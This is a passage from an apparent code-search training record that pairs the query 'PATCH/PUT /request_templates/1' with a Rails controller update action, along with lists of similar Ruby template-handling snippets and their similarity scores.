"def search_templates_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TextMagicApi.search_templates ...'\n end\n # resource path\n local_var_path = '/api/v2/templates/search'\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'ids'] = opts[:'ids'] if !opts[:'ids'].nil?\n query_params[:'name'] = opts[:'name'] if !opts[:'name'].nil?\n query_params[:'content'] = opts[:'content'] if !opts[:'content'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SearchTemplatesPaginatedResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TextMagicApi#search_templates\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n if params[:name]\n @template = Template.find_by_name(params[:name])\n if @template\n respond_ok \"template\", @template\n else\n respond_err \"template\", Template.new, \"i18> No template found\"\n end\n else\n @templates = Template.all\n if !@templates.empty?\n respond_ok \"template\", @templates\n else\n respond_err \"template\", @templates, \"i18> No template found\"\n end\n end\n end",
"def create\n authorize! :manage, :all\n @question_template = QuestionTemplate.new(question_template_params)\n\n respond_to do |format|\n if @question_template.save\n format.html do redirect_to question_template_path(@question_template),\n notice: 'Question template was successfully created.'\n end\n format.json { render action: 'show', status: :created, location: @question_template }\n else\n format.html { render action: 'new' }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def templates_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TemplatesApi.templates_list ...'\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 100\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling TemplatesApi.templates_list, must be smaller than or equal to 100.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling TemplatesApi.templates_list, must be greater than or equal to 1.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'metadata'].nil? && opts[:'metadata'].to_s.length > 500\n fail ArgumentError, 'invalid value for \"opts[:\"metadata\"]\" when calling TemplatesApi.templates_list, the character length must be smaller than or equal to 500.'\n end\n\n pattern = Regexp.new(/[^\"\\\\]{0,500}/)\n if @api_client.config.client_side_validation && !opts[:'metadata'].nil? && opts[:'metadata'] !~ pattern\n fail ArgumentError, \"invalid value for 'opts[:\\\"metadata\\\"]' when calling TemplatesApi.templates_list, must conform to the pattern #{pattern}.\"\n end\n\n # resource path\n local_var_path = '/templates'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'before'] = opts[:'before'] if !opts[:'before'].nil?\n query_params[:'after'] = opts[:'after'] if !opts[:'after'].nil?\n query_params[:'include'] = @api_client.build_collection_param(opts[:'include'], :multi) if !opts[:'include'].nil?\n query_params[:'date_created'] = opts[:'date_created'] if !opts[:'date_created'].nil?\n query_params[:'metadata'] = opts[:'metadata'] if !opts[:'metadata'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'TemplateList'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['basicAuth']\n\n new_options = opts.merge(\n :operation => :\"TemplatesApi.templates_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TemplatesApi#templates_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n @template = EmailTemplate.new(template_params)\n respond_to do |format|\n if @template.save\n format.html { redirect_to email_templates_path, notice: 'template was successfully created.' }\n format.json { render :show, status: :created, location: @template }\n else\n format.html { render :new }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def possible_templates\n\t\tif !params[:funder].nil? && params[:funder] != \"\" && params[:funder] != \"undefined\" then\n\t\t\tfunder = Organisation.find(params[:funder])\n\t\telse\n\t\t\tfunder = nil\n\t\tend\n\t\tif !params[:institution].nil? && params[:institution] != \"\" && params[:institution] != \"undefined\" then\n\t\t\tinstitution = Organisation.find(params[:institution])\n\t\telse\n\t\t\tinstitution = nil\n\t\tend\n\t\ttemplates = {}\n\t\tunless funder.nil? then\n\t\t\tfunder.published_templates.each do |t|\n\t\t\t\ttemplates[t.id] = t.title\n\t\t\tend\n\t\tend\n\t\tif templates.count == 0 && !institution.nil? then\n\t\t\tinstitution.published_templates.each do |t|\n\t\t\t\ttemplates[t.id] = t.title\n\t\t\tend\n\t\t\tinstitution.children.each do |o|\n\t\t\t\to.published_templates.each do |t|\n\t\t\t\t\ttemplates[t.id] = t.title\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\trespond_to do |format|\n\t\t\tformat.json { render json: templates.to_json }\n\t\tend\n\tend",
"def update_template_files(opts)\n template_id = opts.delete(:template_id)\n path = \"/template/update_files/#{template_id}\"\n prepare_files opts\n\n HelloSign::Resource::Template.new post(path, body: opts)\n end",
"def setup_template_variables(rid)\n @rid = rid\n @request_data = JSON.parse @rid.request_data\n @response_data = JSON.parse @rid.response_data\n end",
"def create\n @template = Template.new(template_params)\n current_user.templates << @template\n\n respond_to do |format|\n if current_user.save\n Field.all.each do |field|\n t_field = TemplateField.new(val: \"\")\n t_field.field = field\n t_field.template = @template \n t_field.save\n end\n format.html { redirect_to dashboard_path, notice: t('template_added') }\n else\n format.html { redirect_to dashboard_path, notice: @template.errors.full_messages[0]}\n end\n end\n end",
"def create_template\n self.template = \"template 14231\"\n end",
"def guardian_sms_templates\n path = \"#{guardian_factors_path}/sms/templates\"\n get(path)\n end",
"def print_template_params\n params.require(:print_template).permit(:name, :template_type, :size, :template)\n end",
"def email_template_params\n params.require(:email_template).permit(:name, :body, :org_id)\n end",
"def create\n request = Request.new({title: params[:title], reqtype: params[:reqtype], description: params[:description],\n lat: params[:lat], lng: params[:lng], address: params[:address], status: params[:status], user_id: @current_user.id})\n if request.save\n render json: {\n status: 'success',\n message: 'Request added successfully',\n data: request\n },\n status: :created\n else \n render json: {\n status: 'error',\n message: 'Request not saved',\n data: request.errors\n },\n status: :unprocessable_entity\n end\n end",
"def templates\n state(metrics: \"metadata\").dig(\"metadata\", \"templates\")\n end",
"def question_template_params\n res = params.require(:question_template).permit(:name, :locked, answers: [])\n res[:answers] = Answer.find(res[:answers].reject { |v| v==\"\" })\n res\n end"
] |
[
"0.65851843",
"0.64167845",
"0.6336792",
"0.6284566",
"0.62101465",
"0.6083735",
"0.6068648",
"0.6034663",
"0.6013137",
"0.59893763",
"0.59628445",
"0.59602255",
"0.59482664",
"0.5876555",
"0.58422744",
"0.57748574",
"0.57510185",
"0.57476985",
"0.5728922",
"0.5709782",
"0.56945765",
"0.5689139",
"0.568006",
"0.56577814",
"0.56436896",
"0.5634589",
"0.563183",
"0.56295365",
"0.5627341",
"0.560391",
"0.5602076",
"0.559954",
"0.5587502",
"0.55805665",
"0.5574536",
"0.55578667",
"0.55447346",
"0.5540595",
"0.5536506",
"0.5519086",
"0.55036575",
"0.5484931",
"0.5480211",
"0.5463451",
"0.54626626",
"0.54480165",
"0.54442865",
"0.54361826",
"0.542698",
"0.5423264",
"0.5414419",
"0.53985816",
"0.5395227",
"0.5387197",
"0.5385117",
"0.53812736",
"0.5369524",
"0.5362199",
"0.53569824",
"0.5355081",
"0.5354952",
"0.5348157",
"0.53449947",
"0.53293645",
"0.5326371",
"0.53257155",
"0.53170013",
"0.5313338",
"0.5309438",
"0.5305912",
"0.5299037",
"0.5295927",
"0.5292761",
"0.52924144",
"0.52903306",
"0.52845085",
"0.5271628",
"0.5268921",
"0.5262477",
"0.5257585",
"0.52561665",
"0.52529806",
"0.52518773",
"0.52504444",
"0.5248726",
"0.52356976",
"0.5235473",
"0.52341354",
"0.5226708",
"0.5224599",
"0.52224773",
"0.5221147",
"0.52211064",
"0.52203554",
"0.52188617",
"0.52155703",
"0.521276",
"0.5209172",
"0.5204053",
"0.51981926"
] |
0.67905277
|
0
|
PATCH/PUT /request_templates/1 PATCH/PUT /request_templates/1.json
|
def update
respond_to do |format|
if @request_template.update(request_template_params)
respond format, 'Request template was successfully updated.'
else
format.html { render :edit }
format.json { render json: @request_template.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_template_files(opts)\n template_id = opts.delete(:template_id)\n path = \"/template/update_files/#{template_id}\"\n prepare_files opts\n\n HelloSign::Resource::Template.new post(path, body: opts)\n end",
"def set_request_template\n @request_template = RequestTemplate.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to email_templates_path, notice: 'template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update!(**args)\n @kind = args[:kind] if args.key?(:kind)\n @status = args[:status] if args.key?(:status)\n @template_content = args[:template_content] if args.key?(:template_content)\n @template_name = args[:template_name] if args.key?(:template_name)\n @template_type = args[:template_type] if args.key?(:template_type)\n end",
"def update\n puts template_params\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @attr_template.update(attr_template_params)\n format.html { redirect_to @attr_template, notice: 'Attr template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @attr_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @template = Template.find(params[:id])\n\n respond_to do |format|\n if @template.update_attributes(params[:template])\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @my_template.update(my_template_params)\n format.html { redirect_to @my_template, notice: 'My template was successfully updated.' }\n format.json { render :show, status: :ok, location: @my_template }\n else\n format.html { render :edit }\n format.json { render json: @my_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n update_elements if elements_params.present?\n @template.update(name: template_params[:name]) if template_params[:name].present?\n\n if @template.errors.empty?\n render :show, status: :ok, location: @template\n else\n render json: @template.errors, status: :unprocessable_entity\n end\n end",
"def update\n @mytemplate = Mytemplate.get(params[:id])\n \n @mytemplate.name = params[:mytemplate][:name]\n @mytemplate.folder = params[:mytemplate][:folder]\n @mytemplate.description = params[:mytemplate][:description]\n \n respond_to do |format|\n if @mytemplate.save\n format.html { redirect_to mytemplates_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mytemplate.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cf_template.update(cf_template_params)\n format.html { redirect_to cf_templates_path, notice: I18n.t('cf_templates.msg.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cf_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def template_update(id, type, filename)\n check_id_or_raise id\n check_template_type_or_raise type\n check_filename_or_raise filename\n response = http_request_multipart :put, @base_url + \"/templates/#{id}.xml\", 200,\n { :provider_key => @provider_key,\n :draft => File.read(filename), \n :multipart => true}\n puts 'at update call'\n _id, _updated_at = parse_response response, type\n response = http_request :put, \"#{@base_url}/templates/#{id}/publish\", 200,\n { :params => { :provider_key => @provider_key } }\n puts 'at publish call'\n parse_response response, 'page'\n end",
"def update\n @email_template = EmailTemplate.find(params[:id])\n\n respond_to do |format|\n if @email_template.update_attributes(params[:email_template])\n format.html { redirect_to email_templates_path, notice: 'Email template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @email_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n restricted\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(name, html_url, zip_url, screenshot_url)\n options = { :body => { \n :Name => name,\n :HtmlPageURL => html_url,\n :ZipFileURL => zip_url,\n :ScreenshotURL => screenshot_url }.to_json }\n response = CreateSend.put \"/templates/#{template_id}.json\", options\n end",
"def update \n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @treq = Treq.find(params[:id])\n\n respond_to do |format|\n unless params[:treq_files].blank?\n params[:treq_files]['file'].each do |a|\n @treq_file = @treq.treq_files.create!(:file => a, :treq_id => @treq.id)\n end\n end\n if @treq.update_attributes(params[:treq])\n format.html { redirect_to @treq, notice: 'Treq was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @treq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to template_path(@template), notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @email_template.update(email_template_params)\n format.html { redirect_to email_templates_path, notice: 'Email template was successfully updated.' }\n format.json { render :show, status: :ok, location: @email_template }\n else\n format.html { render :edit }\n format.json { render json: @email_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def orgn_template_update\n @event.template_id = params[:template_id]\n\n if !params[:template_id]\n #redirect_to orgn_template_events_path, :flash => { :error => 'Select a template.' }\n flash[:alert] = 'Select a template.'\n render :action => :orgn_template\n return\n end\n \n @event.template_id = @event.template_id\n \n respond_to do |format|\n if @event.update(template_params)\n format.html { redirect_to event_invite_events_path }\n format.json { head :no_content }\n else\n format.html { redirect_to event_invite_events_path }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @node_template = NodeTemplate.find(params[:id])\n\n respond_to do |format|\n if @node_template.update_attributes(params[:node_template])\n format.html { redirect_to @node_template, notice: 'Node template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @node_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @doc_template.update(doc_template_params)\n format.html { redirect_to @doc_template, notice: 'Doc template was successfully updated.' }\n format.json { render :show, status: :ok, location: @doc_template }\n else\n format.html { render :edit }\n format.json { render json: @doc_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :manage, :all\n respond_to do |format|\n if @question_template.update(question_template_params)\n format.html do redirect_to question_template_path(@question_template),\n notice: 'Question template was successfully updated.'\n end\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @email_template = EmailTemplate.find(params[:id])\n\n respond_to do |format|\n if @email_template.update_attributes(params[:email_template])\n format.html { redirect_to @email_template, notice: 'Email template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @email_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @exercise_template = ExerciseTemplate.find(params[:id])\n\n if @exercise_template.update(exercise_template_params)\n head :no_content\n else\n render json: @exercise_template.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n \n #@template.creator = current_user.id\n if @template.update(template_params)\n @template.creator=current_user.id\n @template.save\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item_template.update(item_template_params)\n format.html { redirect_to @item_template, notice: 'Item Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(id, values, update_published = false)\n @client.call(method: :put, path: \"templates/#{id}\", body_values: values, query_values: { update_published: update_published })\n end",
"def update\n @request.assign_json_attributes(params) if @request.resume?\n respond_to do |format|\n if @request.update(request_params)\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { render :show, status: :ok, location: @request }\n else\n format.html { render :edit }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question_template = QuestionTemplate.find(params[:id])\n params[:files].each_pair do |field_name, file|\n unless file.original_filename.empty?\n @question_template.send \"#{field_name}=\", file.original_filename\n end\n end\n respond_to do |format|\n if @question_template.update_attributes(params[:question_template])\n @question_template.upload_files(params[:files].values)\n format.html { redirect_to [:admin,@question_template], notice: 'Question template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_workflow_template request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_update_workflow_template_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Dataproc::V1::WorkflowTemplate.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def template_update_with_http_info(tmpl_id, template_update, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TemplatesApi.template_update ...'\n end\n # verify the required parameter 'tmpl_id' is set\n if @api_client.config.client_side_validation && tmpl_id.nil?\n fail ArgumentError, \"Missing the required parameter 'tmpl_id' when calling TemplatesApi.template_update\"\n end\n pattern = Regexp.new(/^tmpl_[a-zA-Z0-9]+$/)\n if @api_client.config.client_side_validation && tmpl_id !~ pattern\n fail ArgumentError, \"invalid value for 'tmpl_id' when calling TemplatesApi.template_update, must conform to the pattern #{pattern}.\"\n end\n\n # verify the required parameter 'template_update' is set\n if @api_client.config.client_side_validation && template_update.nil?\n fail ArgumentError, \"Missing the required parameter 'template_update' when calling TemplatesApi.template_update\"\n end\n # resource path\n local_var_path = '/templates/{tmpl_id}'.sub('{' + 'tmpl_id' + '}', CGI.escape(tmpl_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'multipart/form-data'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(template_update)\n\n # return_type\n return_type = opts[:debug_return_type] || 'Template'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['basicAuth']\n\n new_options = opts.merge(\n :operation => :\"TemplatesApi.template_update\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TemplatesApi#template_update\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n\t\t@request = Request.unscoped.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @request.update_attributes( update_request_params )\n\t\t\t\tformat.json { render json: @request, status: :created }\t\t\t\t\n\t\t\telse\n\t\t\t\tformat.json { render json: @request.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @item_template.update(item_template_params)\n format.html { redirect_to @item_template, notice: 'Item template was successfully updated.' }\n format.json { render :show, status: :ok, location: @item_template }\n else\n format.html { render :edit }\n format.json { render json: @item_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @gift_template = GiftTemplate.find(params[:id])\n\n respond_to do |format|\n if @gift_template.update_attributes(params[:gift_template])\n format.html { redirect_to gift_templates_path, notice: 'Gift template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gift_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @template.update(template_params)\n params[:template_fields].each do |p|\n # name: p[0], val: p[1]\n field = Field.find_by(:code => p[0])\n tf = TemplateField.find_by(:field_id => field.id, :template_id => @template.id)\n tf.val = p[1]\n tf.save\n end\n format.html { redirect_to dashboard_path, notice: t('template_updated') }\n else\n format.html { render :edit}\n end\n end\n end",
"def update\n @invoice_template = InvoiceTemplate.find(params[:id])\n\n respond_to do |format|\n if @invoice_template.update_attributes(params[:invoice_template])\n format.html { redirect_to @invoice_template, notice: 'Invoice template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invoice_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @call_template.update(call_template_params)\n format.html { redirect_to @call_template, notice: 'Call template was successfully updated.' }\n format.json { render :show, status: :ok, location: @call_template }\n else\n format.html { render :edit }\n format.json { render json: @call_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project_template = ProjectTemplate.find(params[:id])\n\n respond_to do |format|\n if @project_template.update_attributes(params[:project_template])\n format.html { redirect_to @project_template, notice: 'Project template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n \n if @question_template.update(question_template_params)\n format.html { redirect_to @question_template, notice: 'Question template was successfully updated.' }\n format.json { render :show, status: :ok, location: @question_template }\n else\n format.html { render :edit }\n format.json { render json: @question_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(name, html_url, zip_url)\n options = { :body => {\n :Name => name,\n :HtmlPageURL => html_url,\n :ZipFileURL => zip_url }.to_json }\n put \"/templates/#{template_id}.json\", options\n end",
"def update\n @template = Template.find(params[:id])\n\n respond_to do |format|\n if @template.update_attributes(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @newsletters_template = Newsletters::Template.find(params[:id])\n\n respond_to do |format|\n if @newsletters_template.update_attributes(params[:newsletters_template])\n format.html { redirect_to @newsletters_template, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @newsletters_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @_template = @site.templates.find(params[:id])\n @_template.updated_by = current_user\n\n respond_to do |format|\n if @_template.update_attributes(params[:template])\n flash[:notice] = \"Template was successfully updated.\"\n format.html { redirect_to([:admin, @site, @_template]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @_template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @request = @skill.requests.find(params[:id])\n\n respond_to do |format|\n if @request.update_attributes(params[:request])\n format.html { redirect_to myrequests_path, notice: 'request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @request = Request.find(params[:id])\n\n if @request.update(params[:request])\n head :no_content\n else\n render json: @request.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @default_email_template.update(default_email_template_params)\n format.html { redirect_to @default_email_template, notice: 'Default email template was successfully updated.' }\n format.json { render :show, status: :ok, location: @default_email_template }\n else\n format.html { render :edit }\n format.json { render json: @default_email_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #respond_to do |format|\n # if @request.update(request_params)\n # format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render action: 'edit' }\n # format.json { render json: @request.errors, status: :unprocessable_entity }\n # end\n #end\n end",
"def update\n @mail_template = MailTemplate.find(params[:id])\n\n respond_to do |format|\n if @mail_template.update_attributes(params[:mail_template])\n format.html { redirect_to @mail_template, notice: t(:successfully_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mail_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @template_package.update_attributes(template_package_params)\n format.html { redirect_to @template_package, notice: @controller_name +t(:message_success_update)}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @template_package.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_template(key, value)\n t = { key => value }\n raw = read_attribute(\"template\") \n d = raw.nil? ? {} : JSON.parse(raw) \n merged = d.deep_merge(t)\n self.template = JSON.generate(merged)\n self.save!\n end",
"def update\n @config_template = ConfigTemplate.find(params[:id])\n\n respond_to do |format|\n if @config_template.update_attributes(params[:config_template])\n format.html { redirect_to(@config_template, :notice => 'ConfigTemplate was successfully updated.') }\n format.json { head :ok }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @config_template.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @config_template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @invitation_template.update(invitation_template_params)\n format.html { redirect_to @invitation_template, notice: 'Invitation template was successfully updated.' }\n format.json { render :show, status: :ok, location: @invitation_template }\n else\n format.html { render :edit }\n format.json { render json: @invitation_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @review_template.update(review_template_params)\n format.html { redirect_to @review_template, notice: 'Review template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @review_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n respond_to do |format|\n if @docu_template.update(docu_template_params)\n format.html { redirect_to @docu_template, notice: 'Docu sign was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @docu_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n respond_to do |format|\n if @emailtemplate.update(emailtemplate_params)\n format.html { redirect_to admin_email_templates_url, notice: 'Email Template was successfully updated.' }\n format.json { head :no_content }\n else\n flash[:error] = \"#{@emailtemplate.errors.full_messages.first}\"\n format.html { render action: 'edit' }\n format.json { render json: @emailtemplate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @request = Request.find(params[:id])\n\n respond_to do |format|\n if @request.update_attributes(params[:request])\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @request = Request.find(params[:id])\n\n respond_to do |format|\n if @request.update_attributes(params[:request])\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
